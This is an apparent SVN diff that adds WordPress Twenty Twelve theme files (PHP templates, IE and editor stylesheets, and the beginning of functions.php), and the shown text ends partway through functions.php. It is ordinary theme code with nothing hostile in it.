--- /tags/4.1.6/src/wp-content/themes/twentytwelve/content-page.php	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentytwelve/content-page.php	(revision 33402)
@@ -0,0 +1,26 @@
+<?php
+/**
+ * The template used for displaying page content in page.php
+ *
+ * @package WordPress
+ * @subpackage Twenty_Twelve
+ * @since Twenty Twelve 1.0
+ */
+?>
+
+	<article id="post-<?php the_ID(); ?>" <?php post_class(); ?>>
+		<header class="entry-header">
+			<?php if ( ! is_page_template( 'page-templates/front-page.php' ) ) : ?>
+			<?php the_post_thumbnail(); ?>
+			<?php endif; ?>
+			<h1 class="entry-title"><?php the_title(); ?></h1>
+		</header>
+
+		<div class="entry-content">
+			<?php the_content(); ?>
+			<?php wp_link_pages( array( 'before' => '<div class="page-links">' . __( 'Pages:', 'twentytwelve' ), 'after' => '</div>' ) ); ?>
+		</div><!-- .entry-content -->
+		<footer class="entry-meta">
+			<?php edit_post_link( __( 'Edit', 'twentytwelve' ), '<span class="edit-link">', '</span>' ); ?>
+		</footer><!-- .entry-meta -->
+	</article><!-- #post -->
Index: /tags/4.1.6/src/wp-content/themes/twentytwelve/content-quote.php
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentytwelve/content-quote.php	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentytwelve/content-quote.php	(revision 33402)
@@ -0,0 +1,25 @@
+<?php
+/**
+ * The template for displaying posts in the Quote post format
+ *
+ * @package WordPress
+ * @subpackage Twenty_Twelve
+ * @since Twenty Twelve 1.0
+ */
+?>
+
+	<article id="post-<?php the_ID(); ?>" <?php post_class(); ?>>
+		<div class="entry-content">
+			<?php the_content( __( 'Continue reading <span class="meta-nav">&rarr;</span>', 'twentytwelve' ) ); ?>
+		</div><!-- .entry-content -->
+
+		<footer class="entry-meta">
+			<a href="<?php the_permalink(); ?>" title="<?php echo esc_attr( sprintf( __( 'Permalink to %s', 'twentytwelve' ), the_title_attribute( 'echo=0' ) ) ); ?>" rel="bookmark"><?php echo get_the_date(); ?></a>
+			<?php if ( comments_open() ) : ?>
+			<div class="comments-link">
+				<?php comments_popup_link( '<span class="leave-reply">' . __( 'Leave a reply', 'twentytwelve' ) . '</span>', __( '1 Reply', 'twentytwelve' ), __( '% Replies', 'twentytwelve' ) ); ?>
+			</div><!-- .comments-link -->
+			<?php endif; // comments_open() ?>
+			<?php edit_post_link( __( 'Edit', 'twentytwelve' ), '<span class="edit-link">', '</span>' ); ?>
+		</footer><!-- .entry-meta -->
+	</article><!-- #post -->
Index: /tags/4.1.6/src/wp-content/themes/twentytwelve/content-status.php
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentytwelve/content-status.php	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentytwelve/content-status.php	(revision 33402)
@@ -0,0 +1,42 @@
+<?php
+/**
+ * The template for displaying posts in the Status post format
+ *
+ * @package WordPress
+ * @subpackage Twenty_Twelve
+ * @since Twenty Twelve 1.0
+ */
+?>
+
+	<article id="post-<?php the_ID(); ?>" <?php post_class(); ?>>
+		<div class="entry-header">
+			<header>
+				<h1><?php the_author(); ?></h1>
+				<h2><a href="<?php the_permalink(); ?>" title="<?php echo esc_attr( sprintf( __( 'Permalink to %s', 'twentytwelve' ), the_title_attribute( 'echo=0' ) ) ); ?>" rel="bookmark"><?php echo get_the_date(); ?></a></h2>
+			</header>
+			<?php
+			/**
+			 * Filter the status avatar size.
+			 *
+			 * @since Twenty Twelve 1.0
+			 *
+			 * @param int $size The height and width of the avatar in pixels.
+			 */
+			$status_avatar = apply_filters( 'twentytwelve_status_avatar', 48 );
+			echo get_avatar( get_the_author_meta( 'ID' ), $status_avatar );
+			?>
+		</div><!-- .entry-header -->
+
+		<div class="entry-content">
+			<?php the_content( __( 'Continue reading <span class="meta-nav">&rarr;</span>', 'twentytwelve' ) ); ?>
+		</div><!-- .entry-content -->
+
+		<footer class="entry-meta">
+			<?php if ( comments_open() ) : ?>
+			<div class="comments-link">
+				<?php comments_popup_link( '<span class="leave-reply">' . __( 'Leave a reply', 'twentytwelve' ) . '</span>', __( '1 Reply', 'twentytwelve' ), __( '% Replies', 'twentytwelve' ) ); ?>
+			</div><!-- .comments-link -->
+			<?php endif; // comments_open() ?>
+			<?php edit_post_link( __( 'Edit', 'twentytwelve' ), '<span class="edit-link">', '</span>' ); ?>
+		</footer><!-- .entry-meta -->
+	</article><!-- #post -->
Index: /tags/4.1.6/src/wp-content/themes/twentytwelve/content.php
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentytwelve/content.php	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentytwelve/content.php	(revision 33402)
@@ -0,0 +1,73 @@
+<?php
+/**
+ * The default template for displaying content
+ *
+ * Used for both single and index/archive/search.
+ *
+ * @package WordPress
+ * @subpackage Twenty_Twelve
+ * @since Twenty Twelve 1.0
+ */
+?>
+
+	<article id="post-<?php the_ID(); ?>" <?php post_class(); ?>>
+		<?php if ( is_sticky() && is_home() && ! is_paged() ) : ?>
+		<div class="featured-post">
+			<?php _e( 'Featured post', 'twentytwelve' ); ?>
+		</div>
+		<?php endif; ?>
+		<header class="entry-header">
+			<?php if ( ! post_password_required() && ! is_attachment() ) :
+				the_post_thumbnail();
+			endif; ?>
+
+			<?php if ( is_single() ) : ?>
+			<h1 class="entry-title"><?php the_title(); ?></h1>
+			<?php else : ?>
+			<h1 class="entry-title">
+				<a href="<?php the_permalink(); ?>" rel="bookmark"><?php the_title(); ?></a>
+			</h1>
+			<?php endif; // is_single() ?>
+			<?php if ( comments_open() ) : ?>
+				<div class="comments-link">
+					<?php comments_popup_link( '<span class="leave-reply">' . __( 'Leave a reply', 'twentytwelve' ) . '</span>', __( '1 Reply', 'twentytwelve' ), __( '% Replies', 'twentytwelve' ) ); ?>
+				</div><!-- .comments-link -->
+			<?php endif; // comments_open() ?>
+		</header><!-- .entry-header -->
+
+		<?php if ( is_search() ) : // Only display Excerpts for Search ?>
+		<div class="entry-summary">
+			<?php the_excerpt(); ?>
+		</div><!-- .entry-summary -->
+		<?php else : ?>
+		<div class="entry-content">
+			<?php the_content( __( 'Continue reading <span class="meta-nav">&rarr;</span>', 'twentytwelve' ) ); ?>
+			<?php wp_link_pages( array( 'before' => '<div class="page-links">' . __( 'Pages:', 'twentytwelve' ), 'after' => '</div>' ) ); ?>
+		</div><!-- .entry-content -->
+		<?php endif; ?>
+
+		<footer class="entry-meta">
+			<?php twentytwelve_entry_meta(); ?>
+			<?php edit_post_link( __( 'Edit', 'twentytwelve' ), '<span class="edit-link">', '</span>' ); ?>
+			<?php if ( is_singular() && get_the_author_meta( 'description' ) && is_multi_author() ) : // If a user has filled out their description and this is a multi-author blog, show a bio on their entries. ?>
+				<div class="author-info">
+					<div class="author-avatar">
+						<?php
+						/** This filter is documented in author.php */
+						$author_bio_avatar_size = apply_filters( 'twentytwelve_author_bio_avatar_size', 68 );
+						echo get_avatar( get_the_author_meta( 'user_email' ), $author_bio_avatar_size );
+						?>
+					</div><!-- .author-avatar -->
+					<div class="author-description">
+						<h2><?php printf( __( 'About %s', 'twentytwelve' ), get_the_author() ); ?></h2>
+						<p><?php the_author_meta( 'description' ); ?></p>
+						<div class="author-link">
+							<a href="<?php echo esc_url( get_author_posts_url( get_the_author_meta( 'ID' ) ) ); ?>" rel="author">
+								<?php printf( __( 'View all posts by %s <span class="meta-nav">&rarr;</span>', 'twentytwelve' ), get_the_author() ); ?>
+							</a>
+						</div><!-- .author-link	-->
+					</div><!-- .author-description -->
+				</div><!-- .author-info -->
+			<?php endif; ?>
+		</footer><!-- .entry-meta -->
+	</article><!-- #post -->
Index: /tags/4.1.6/src/wp-content/themes/twentytwelve/css/ie.css
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentytwelve/css/ie.css	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentytwelve/css/ie.css	(revision 33402)
@@ -0,0 +1,273 @@
+/*
+Styles for older IE versions (previous to IE9).
+*/
+
+body {
+	background-color: #e6e6e6;
+}
+body.custom-background-empty {
+	background-color: #fff;
+}
+body.custom-background-empty .site,
+body.custom-background-white .site {
+	box-shadow: none;
+	margin-bottom: 0;
+	margin-top: 0;
+	padding: 0;
+}
+.assistive-text,
+.site .screen-reader-text {
+	clip: rect(1px 1px 1px 1px); /* IE7 */
+}
+.full-width .site-content {
+	float: none;
+	width: 100%;
+}
+img.size-full,
+img.size-large,
+img.header-image,
+img.wp-post-image,
+img[class*="align"],
+img[class*="wp-image-"],
+img[class*="attachment-"] {
+	width: auto; /* Prevent stretching of full-size and large-size images with height and width attributes in IE8 */
+}
+.author-avatar {
+	float: left;
+	margin-top: 8px;
+	margin-top: 0.571428571rem;
+}
+.author-description {
+	float: right;
+	width: 80%;
+}
+.site {
+	box-shadow: 0 2px 6px rgba(100, 100, 100, 0.3);
+	margin: 48px auto;
+	max-width: 960px;
+	overflow: hidden;
+	padding: 0 40px;
+}
+.site-content {
+	float: left;
+	width: 65.104166667%;
+}
+body.template-front-page .site-content,
+body.attachment .site-content,
+body.full-width .site-content {
+	width: 100%;
+}
+.widget-area {
+	float: right;
+	width: 26.041666667%;
+}
+.site-header h1,
+.site-header h2 {
+	text-align: left;
+}
+.site-header h1 {
+	font-size: 26px;
+	line-height: 1.846153846;
+}
+.main-navigation ul.nav-menu,
+.main-navigation div.nav-menu > ul {
+	border-bottom: 1px solid #ededed;
+	border-top: 1px solid #ededed;
+	display: inline-block !important;
+	text-align: left;
+	width: 100%;
+}
+.main-navigation ul {
+	margin: 0;
+	text-indent: 0;
+}
+.main-navigation li a,
+.main-navigation li {
+	display: inline-block;
+	text-decoration: none;
+}
+.ie7 .main-navigation li a,
+.ie7 .main-navigation li {
+	display: inline;
+}
+.main-navigation li a {
+	border-bottom: 0;
+	color: #6a6a6a;
+	line-height: 3.692307692;
+	text-transform: uppercase;
+}
+.main-navigation li a:hover {
+	color: #000;
+}
+.main-navigation li {
+	margin: 0 40px 0 0;
+	position: relative;
+}
+.main-navigation li ul {
+	margin: 0;
+	padding: 0;
+	position: absolute;
+	top: 100%;
+	z-index: 1;
+	height: 1px;
+	width: 1px;
+	overflow: hidden;
+	clip: rect(1px, 1px, 1px, 1px);
+}
+.ie7 .main-navigation li ul {
+	clip: inherit;
+	display: none;
+	left: 0;
+	overflow: visible;
+}
+.main-navigation li ul ul,
+.ie7 .main-navigation li ul ul {
+	top: 0;
+	left: 100%;
+}
+.main-navigation ul li:hover > ul,
+.main-navigation ul li:focus > ul,
+.main-navigation .focus > ul {
+	border-left: 0;
+	clip: inherit;
+	overflow: inherit;
+	height: inherit;
+	width: inherit;
+}
+.ie7 .main-navigation ul li:hover > ul,
+.ie7 .main-navigation ul li:focus > ul {
+	display: block;
+}
+.main-navigation li ul li a {
+	background: #efefef;
+	border-bottom: 1px solid #ededed;
+	display: block;
+	font-size: 11px;
+	line-height: 2.181818182;
+	padding: 8px 10px;
+	width: 180px;
+}
+.main-navigation li ul li a:hover {
+	background: #e3e3e3;
+	color: #444;
+}
+.main-navigation .current-menu-item > a,
+.main-navigation .current-menu-ancestor > a,
+.main-navigation .current_page_item > a,
+.main-navigation .current_page_ancestor > a {
+	color: #636363;
+	font-weight: bold;
+}
+.main-navigation .menu-toggle {
+	display: none;
+}
+.entry-header .entry-title {
+	font-size: 22px;
+}
+#respond form input[type="text"] {
+	width: 46.333333333%;
+}
+#respond form textarea.blog-textarea {
+	width: 79.666666667%;
+}
+.template-front-page .site-content,
+.template-front-page article {
+	overflow: hidden;
+}
+.template-front-page.has-post-thumbnail article {
+	float: left;
+	width: 47.916666667%;
+}
+.entry-page-image {
+	float: right;
+	margin-bottom: 0;
+	width: 47.916666667%;
+}
+/* IE Front Page Template Widget fix */
+.template-front-page .widget-area {
+	clear: both;
+}
+.template-front-page .widget {
+	width: 100% !important;
+	border: none;
+}
+.template-front-page .widget-area .widget,
+.template-front-page .first.front-widgets,
+.template-front-page.two-sidebars .widget-area .front-widgets {
+	float: left;
+	margin-bottom: 24px;
+	width: 51.875%;
+}
+.template-front-page .second.front-widgets,
+.template-front-page .widget-area .widget:nth-child(odd) {
+	clear: right;
+}
+.template-front-page .first.front-widgets,
+.template-front-page .second.front-widgets,
+.template-front-page.two-sidebars .widget-area .front-widgets + .front-widgets {
+	float: right;
+	margin: 0 0 24px;
+	width: 39.0625%;
+}
+.template-front-page.two-sidebars .widget,
+.template-front-page.two-sidebars .widget:nth-child(even) {
+	float: none;
+	width: auto;
+}
+/* add input font for <IE9 Password Box to make the bullets show up */
+input[type="password"] {
+	font-family: Helvetica, Arial, sans-serif;
+}
+
+/* RTL overrides for IE7 and IE8
+-------------------------------------------------------------- */
+.rtl .site-header h1,
+.rtl .site-header h2 {
+	text-align: right;
+}
+.rtl .widget-area,
+.rtl .author-description {
+	float: left;
+}
+.rtl .author-avatar,
+.rtl .site-content {
+	float: right;
+}
+.rtl .main-navigation ul.nav-menu,
+.rtl .main-navigation div.nav-menu > ul {
+	text-align: right;
+}
+.rtl .main-navigation ul li ul li,
+.rtl .main-navigation ul li ul li ul li {
+	margin-left: 40px;
+	margin-right: auto;
+}
+.rtl .main-navigation li ul ul {
+	position: absolute;
+	bottom: 0;
+	right: 100%;
+	z-index: 1;
+}
+.ie7 .rtl .main-navigation li ul ul {
+	position: absolute;
+	bottom: 0;
+	right: 100%;
+	z-index: 1;
+}
+.ie7 .rtl .main-navigation ul li {
+	z-index: 99;
+}
+.ie7 .rtl .main-navigation li ul {
+	position: absolute;
+	bottom: 100%;
+	right: 0;
+	z-index: 1;
+}
+.ie7 .rtl .main-navigation li {
+	margin-right: auto;
+	margin-left: 40px;
+}
+.ie7 .rtl .main-navigation li ul ul ul {
+	position: relative;
+	z-index: 1;
+}
Index: /tags/4.1.6/src/wp-content/themes/twentytwelve/editor-style-rtl.css
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentytwelve/editor-style-rtl.css	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentytwelve/editor-style-rtl.css	(revision 33402)
@@ -0,0 +1,28 @@
+/*
+Theme Name: Twenty Twelve
+Description: Used to style the TinyMCE editor for RTL languages.
+See also rtl.css file.
+*/
+
+html .mceContentBody {
+	direction: rtl;
+	unicode-bidi: embed;
+}
+li {
+	margin: 0 24px 0 0;
+	margin: 0 1.714285714rem 0 0;
+}
+dl {
+	margin: 0 24px;
+	margin: 0 1.714285714rem;
+}
+tr th {
+	text-align: right;
+}
+td {
+	padding: 6px 0 6px 10px;
+	text-align: right;
+}
+.wp-caption {
+	text-align: right;
+}
Index: /tags/4.1.6/src/wp-content/themes/twentytwelve/editor-style.css
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentytwelve/editor-style.css	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentytwelve/editor-style.css	(revision 33402)
@@ -0,0 +1,342 @@
+/*
+Theme Name: Twenty Twelve
+Description: Used to style the TinyMCE editor.
+*/
+
+html {
+	font-size: 87.5%;
+}
+html .mceContentBody {
+	max-width: 625px;
+}
+body {
+	color: #444;
+	font-family: "Open Sans", Helvetica, Arial, sans-serif;
+	font-size: 14px;
+	font-size: 1rem;
+	line-height: 1;
+	text-rendering: optimizeLegibility;
+	vertical-align: baseline;
+}
+
+
+/* =Headings
+-------------------------------------------------------------- */
+
+h1,
+h2,
+h3,
+h4,
+h5,
+h6 {
+	clear: both;
+	line-height: 1.846153846;
+	margin: 24px 0;
+	margin: 1.714285714rem 0;
+}
+h1 {
+	font-size: 21px;
+	font-size: 1.5rem;
+	line-height: 1.5;
+}
+h2 {
+	font-size: 18px;
+	font-size: 1.285714286rem;
+	line-height: 1.6;
+}
+h3 {
+	font-size: 16px;
+	font-size: 1.142857143rem;
+}
+h4 {
+	font-size: 14px;
+	font-size: 1rem;
+}
+h5 {
+	font-size: 13px;
+	font-size: 0.928571429rem;
+}
+h6 {
+	font-size: 12px;
+	font-size: 0.857142857rem;
+}
+hr {
+	background-color: #ccc;
+	border: 0;
+	height: 1px;
+	margin: 24px;
+	margin-bottom: 1.714285714rem;
+}
+
+
+/* =Text elements
+-------------------------------------------------------------- */
+
+p {
+	line-height: 1.714285714;
+	margin: 0 0 24px;
+	margin: 0 0 1.714285714rem;
+}
+ul,
+ol {
+	margin: 0 0 24px;
+	margin: 0 0 1.714285714rem;
+	line-height: 1.714285714;
+	padding: 0;
+}
+ul {
+	list-style: disc outside;
+}
+ol {
+	list-style: decimal outside;
+}
+ul ul,
+ol ol,
+ul ol,
+ol ul {
+	margin-bottom: 0;
+}
+li {
+	margin: 0 0 0 24px;
+	margin: 0 0 0 1.714285714rem;
+}
+dl {
+	margin: 0 24px;
+	margin: 0 1.714285714rem;
+}
+dt {
+	font-weight: bold;
+	margin-bottom: 24px;
+	margin-bottom: 1.714285714rem;
+}
+dd {
+	line-height: 1.714285714;
+	margin: 0 0 24px;
+	margin: 0 0 1.714285714rem;
+}
+strong {
+	font-weight: bold;
+}
+cite,
+em,
+i {
+	font-style: italic;
+}
+cite {
+	border: none;
+}
+big {
+	font-size: 128.571429%;
+}
+.mceContentBody blockquote {
+	font-style: italic !important;
+	font-weight: normal;
+	margin: 0;
+	padding: 24px;
+	padding: 1.714285714rem;
+}
+pre {
+	border: 1px solid #ededed;
+	color: #666;
+	font-family: Consolas, Monaco, Lucida Console, monospace;
+	font-size: 12px;
+	font-size: 0.857142857rem;
+	line-height: 1.714285714;
+	margin: 24px 0;
+	margin: 1.714285714rem 0;
+	overflow: auto;
+	padding: 24px;
+	padding: 1.714285714rem;
+}
+code,
+kbd,
+samp,
+var {
+	font-family: Consolas, Monaco, Lucida Console, monospace;
+	font-size: 12px;
+	font-size: 0.857142857rem;
+	line-height: 2;
+}
+abbr,
+acronym,
+dfn {
+	border-bottom: 1px dotted #666;
+	cursor: help;
+}
+address {
+	display: block;
+	line-height: 1.714285714;
+	margin: 0 0 24px;
+	margin: 0 0 1.714285714rem;
+}
+del {
+	color: #333;
+}
+ins {
+	background: #fff9c0;
+	border: none;
+	color: #333;
+	text-decoration: none;
+}
+sup,
+sub {
+	font-size: 75%;
+	line-height: 0;
+	position: relative;
+	vertical-align: baseline;
+}
+sup {
+	top: -0.5em;
+}
+sub {
+	bottom: -0.25em;
+}
+input[type="text"] {
+	border: 1px solid #ccc;
+	border-radius: 3px;
+	font-family: inherit;
+	padding: 6px;
+	padding: 0.428571429rem;
+}
+textarea {
+	border: 1px solid #d5d2ca;
+	border-radius: 3px;
+	font-family: inherit;
+	font-size: 12px;
+	font-size: 0.857142857rem;
+	line-height: 1.714285714;
+	padding: 10px;
+	padding: 0.714285714rem;
+	width: 96%;
+}
+
+
+/* =Links
+-------------------------------------------------------------- */
+
+a,
+a em,
+a strong {
+	color: #21759b;
+	outline: none;
+}
+a:focus,
+a:active,
+a:hover {
+	color: #0f3647;
+}
+
+
+/* =Alignment
+-------------------------------------------------------------- */
+
+.alignleft {
+	display: inline;
+	float: left;
+	margin: 12px 24px 12px 0;
+	margin: 0.857142857rem 1.714285714rem 0.857142857rem 0;
+}
+.alignright {
+	display: inline;
+	float: right;
+	margin: 12px 0 12px 24px;
+	margin: 0.857142857rem 0 0.857142857rem 1.714285714rem;
+}
+.aligncenter {
+	clear: both;
+	display: block;
+	margin-top: 12px;
+	margin-top: 0.857142857rem;
+	margin-bottom: 12px;
+	margin-bottom: 0.857142857rem;
+}
+
+
+/* =Tables
+-------------------------------------------------------------- */
+
+table {
+	border-bottom: 1px solid #ededed;
+	border-collapse: collapse;
+	border-spacing: 0;
+	color: #757575;
+	font-size: 12px;
+	font-size: 0.857142857rem;
+	line-height: 2;
+	margin: 0 0 24px;
+	margin: 0 0 1.714285714rem;
+	width: 100%;
+}
+tr th {
+	color: #636363;
+	font-size: 11px;
+	font-size: 0.785714286rem;
+	font-weight: bold;
+	line-height: 2.181818182;
+	text-align: left;
+	text-transform: uppercase;
+}
+td {
+	border-top: 1px solid #ededed !important;
+	color: #757575;
+	font-size: inherit;
+	font-weight: normal;
+	padding: 6px 10px 6px 0;
+	text-align: left;
+}
+
+
+/* =Images
+-------------------------------------------------------------- */
+
+img,
+.editor-attachment {
+	border: 0;
+	border-radius: 3px;
+	box-shadow: 0 1px 4px rgba(0, 0, 0, 0.2);
+	max-width: 100%;
+}
+img.size-full {
+	width: auto/9; /* Prevent stretching of full-size images in IE8 */
+}
+img[class*="wp-image-"] {
+	height: auto;
+	max-width: 100%;
+}
+img[class*="align"],
+img[class*="wp-image-"],
+img[class*="attachment-"] {
+	height: auto; /* Make sure images with WordPress-added height and width attributes are scaled correctly */
+}
+img.mce-wp-nextpage {
+	border-radius: 0;
+	box-shadow: none;
+}
+img.wp-smiley {
+	border: 0;
+	border-radius: 0;
+	box-shadow: none;
+	margin-bottom: 0;
+	margin-top: 0;
+	padding: 0;
+}
+.wp-caption {
+	background: transparent;
+	border: none;
+	margin: 0;
+	padding: 4px;
+	text-align: left;
+}
+.wp-caption-dt {
+	margin: 0;
+}
+.wp-caption .wp-caption-text,
+.wp-caption-dd {
+	color: #757575;
+	font-style: italic;
+	font-size: 12px;
+	font-size: 0.857142857rem;
+	line-height: 2;
+	margin: 0 0 24px;
+	margin: 0 0 1.71429rem;
+}
Index: /tags/4.1.6/src/wp-content/themes/twentytwelve/footer.php
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentytwelve/footer.php	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentytwelve/footer.php	(revision 33402)
@@ -0,0 +1,23 @@
+<?php
+/**
+ * The template for displaying the footer
+ *
+ * Contains footer content and the closing of the #main and #page div elements.
+ *
+ * @package WordPress
+ * @subpackage Twenty_Twelve
+ * @since Twenty Twelve 1.0
+ */
+?>
+	</div><!-- #main .wrapper -->
+	<footer id="colophon" role="contentinfo">
+		<div class="site-info">
+			<?php do_action( 'twentytwelve_credits' ); ?>
+			<a href="<?php echo esc_url( __( 'http://wordpress.org/', 'twentytwelve' ) ); ?>" title="<?php esc_attr_e( 'Semantic Personal Publishing Platform', 'twentytwelve' ); ?>"><?php printf( __( 'Proudly powered by %s', 'twentytwelve' ), 'WordPress' ); ?></a>
+		</div><!-- .site-info -->
+	</footer><!-- #colophon -->
+</div><!-- #page -->
+
+<?php wp_footer(); ?>
+</body>
+</html>
Index: /tags/4.1.6/src/wp-content/themes/twentytwelve/functions.php
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentytwelve/functions.php	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentytwelve/functions.php	(revision 33402)
@@ -0,0 +1,499 @@
+<?php
+/**
+ * Twenty Twelve functions and definitions
+ *
+ * Sets up the theme and provides some helper functions, which are used
+ * in the theme as custom template tags. Others are attached to action and
+ * filter hooks in WordPress to change core functionality.
+ *
+ * When using a child theme (see http://codex.wordpress.org/Theme_Development and
+ * http://codex.wordpress.org/Child_Themes), you can override certain functions
+ * (those wrapped in a function_exists() call) by defining them first in your child theme's
+ * functions.php file. The child theme's functions.php file is included before the parent
+ * theme's file, so the child theme functions would be used.
+ *
+ * Functions that are not pluggable (not wrapped in function_exists()) are instead attached
+ * to a filter or action hook.
+ *
+ * For more information on hooks, actions, and filters, @link http://codex.wordpress.org/Plugin_API
+ *
+ * @package WordPress
+ * @subpackage Twenty_Twelve
+ * @since Twenty Twelve 1.0
+ */
+
+// Set up the content width value based on the theme's design and stylesheet.
+if ( ! isset( $content_width ) )
+	$content_width = 625;
+
+/**
+ * Twenty Twelve setup.
+ *
+ * Sets up theme defaults and registers the various WordPress features that
+ * Twenty Twelve supports.
+ *
+ * @uses load_theme_textdomain() For translation/localization support.
+ * @uses add_editor_style() To add a Visual Editor stylesheet.
+ * @uses add_theme_support() To add support for post thumbnails, automatic feed links,
+ * 	custom background, and post formats.
+ * @uses register_nav_menu() To add support for navigation menus.
+ * @uses set_post_thumbnail_size() To set a custom post thumbnail size.
+ *
+ * @since Twenty Twelve 1.0
+ */
+function twentytwelve_setup() {
+	/*
+	 * Makes Twenty Twelve available for translation.
+	 *
+	 * Translations can be added to the /languages/ directory.
+	 * If you're building a theme based on Twenty Twelve, use a find and replace
+	 * to change 'twentytwelve' to the name of your theme in all the template files.
+	 */
+	load_theme_textdomain( 'twentytwelve', get_template_directory() . '/languages' );
+
+	// This theme styles the visual editor with editor-style.css to match the theme style.
+	add_editor_style();
+
+	// Adds RSS feed links to <head> for posts and comments.
+	add_theme_support( 'automatic-feed-links' );
+
+	// This theme supports a variety of post formats.
+	add_theme_support( 'post-formats', array( 'aside', 'image', 'link', 'quote', 'status' ) );
+
+	// This theme uses wp_nav_menu() in one location.
+	register_nav_menu( 'primary', __( 'Primary Menu', 'twentytwelve' ) );
+
+	/*
+	 * This theme supports custom background color and image,
+	 * and here we also set up the default background color.
+	 */
+	add_theme_support( 'custom-background', array(
+		'default-color' => 'e6e6e6',
+	) );
+
+	// This theme uses a custom image size for featured images, displayed on "standard" posts.
+	add_theme_support( 'post-thumbnails' );
+	set_post_thumbnail_size( 624, 9999 ); // Unlimited height, soft crop
+}
+add_action( 'after_setup_theme', 'twentytwelve_setup' );
+
+/**
+ * Add support for a custom header image.
+ */
+require( get_template_directory() . '/inc/custom-header.php' );
+
+/**
+ * Return the Google font stylesheet URL if available.
+ *
+ * The use of Open Sans by default is localized. For languages that use
+ * characters not supported by the font, the font can be disabled.
+ *
+ * @since Twenty Twelve 1.2
+ *
+ * @return string Font stylesheet or empty string if disabled.
+ */
+function twentytwelve_get_font_url() {
+	$font_url = '';
+
+	/* translators: If there are characters in your language that are not supported
+	 * by Open Sans, translate this to 'off'. Do not translate into your own language.
+	 */
+	if ( 'off' !== _x( 'on', 'Open Sans font: on or off', 'twentytwelve' ) ) {
+		$subsets = 'latin,latin-ext';
+
+		/* translators: To add an additional Open Sans character subset specific to your language,
+		 * translate this to 'greek', 'cyrillic' or 'vietnamese'. Do not translate into your own language.
+		 */
+		$subset = _x( 'no-subset', 'Open Sans font: add new subset (greek, cyrillic, vietnamese)', 'twentytwelve' );
+
+		if ( 'cyrillic' == $subset )
+			$subsets .= ',cyrillic,cyrillic-ext';
+		elseif ( 'greek' == $subset )
+			$subsets .= ',greek,greek-ext';
+		elseif ( 'vietnamese' == $subset )
+			$subsets .= ',vietnamese';
+
+		$protocol = is_ssl() ? 'https' : 'http';
+		$query_args = array(
+			'family' => 'Open+Sans:400italic,700italic,400,700',
+			'subset' => $subsets,
+		);
+		$font_url = add_query_arg( $query_args, "$protocol://fonts.googleapis.com/css" );
+	}
+
+	return $font_url;
+}
+
+/**
+ * Enqueue scripts and styles for front-end.
+ *
+ * @since Twenty Twelve 1.0
+ */
+function twentytwelve_scripts_styles() {
+	global $wp_styles;
+
+	/*
+	 * Adds JavaScript to pages with the comment form to support
+	 * sites with threaded comments (when in use).
+	 */
+	if ( is_singular() && comments_open() && get_option( 'thread_comments' ) )
+		wp_enqueue_script( 'comment-reply' );
+
+	// Adds JavaScript for handling the navigation menu hide-and-show behavior.
+	wp_enqueue_script( 'twentytwelve-navigation', get_template_directory_uri() . '/js/navigation.js', array( 'jquery' ), '20140711', true );
+
+	$font_url = twentytwelve_get_font_url();
+	if ( ! empty( $font_url ) )
+		wp_enqueue_style( 'twentytwelve-fonts', esc_url_raw( $font_url ), array(), null );
+
+	// Loads our main stylesheet.
+	wp_enqueue_style( 'twentytwelve-style', get_stylesheet_uri() );
+
+	// Loads the Internet Explorer specific stylesheet.
+	wp_enqueue_style( 'twentytwelve-ie', get_template_directory_uri() . '/css/ie.css', array( 'twentytwelve-style' ), '20121010' );
+	$wp_styles->add_data( 'twentytwelve-ie', 'conditional', 'lt IE 9' );
+}
+add_action( 'wp_enqueue_scripts', 'twentytwelve_scripts_styles' );
+
+/**
+ * Filter TinyMCE CSS path to include Google Fonts.
+ *
+ * Adds additional stylesheets to the TinyMCE editor if needed.
+ *
+ * @uses twentytwelve_get_font_url() To get the Google Font stylesheet URL.
+ *
+ * @since Twenty Twelve 1.2
+ *
+ * @param string $mce_css CSS path to load in TinyMCE.
+ * @return string Filtered CSS path.
+ */
+function twentytwelve_mce_css( $mce_css ) {
+	$font_url = twentytwelve_get_font_url();
+
+	if ( empty( $font_url ) )
+		return $mce_css;
+
+	if ( ! empty( $mce_css ) )
+		$mce_css .= ',';
+
+	$mce_css .= esc_url_raw( str_replace( ',', '%2C', $font_url ) );
+
+	return $mce_css;
+}
+add_filter( 'mce_css', 'twentytwelve_mce_css' );
+
+/**
+ * Filter the page title.
+ *
+ * Creates a nicely formatted and more specific title element text
+ * for output in head of document, based on current view.
+ *
+ * @since Twenty Twelve 1.0
+ *
+ * @param string $title Default title text for current view.
+ * @param string $sep Optional separator.
+ * @return string Filtered title.
+ */
+function twentytwelve_wp_title( $title, $sep ) {
+	global $paged, $page;
+
+	if ( is_feed() )
+		return $title;
+
+	// Add the site name.
+	$title .= get_bloginfo( 'name', 'display' );
+
+	// Add the site description for the home/front page.
+	$site_description = get_bloginfo( 'description', 'display' );
+	if ( $site_description && ( is_home() || is_front_page() ) )
+		$title = "$title $sep $site_description";
+
+	// Add a page number if necessary.
+	if ( ( $paged >= 2 || $page >= 2 ) && ! is_404() )
+		$title = "$title $sep " . sprintf( __( 'Page %s', 'twentytwelve' ), max( $paged, $page ) );
+
+	return $title;
+}
+add_filter( 'wp_title', 'twentytwelve_wp_title', 10, 2 );
+
+/**
+ * Filter the page menu arguments.
+ *
+ * Makes our wp_nav_menu() fallback -- wp_page_menu() -- show a home link.
+ *
+ * @since Twenty Twelve 1.0
+ */
+function twentytwelve_page_menu_args( $args ) {
+	if ( ! isset( $args['show_home'] ) )
+		$args['show_home'] = true;
+	return $args;
+}
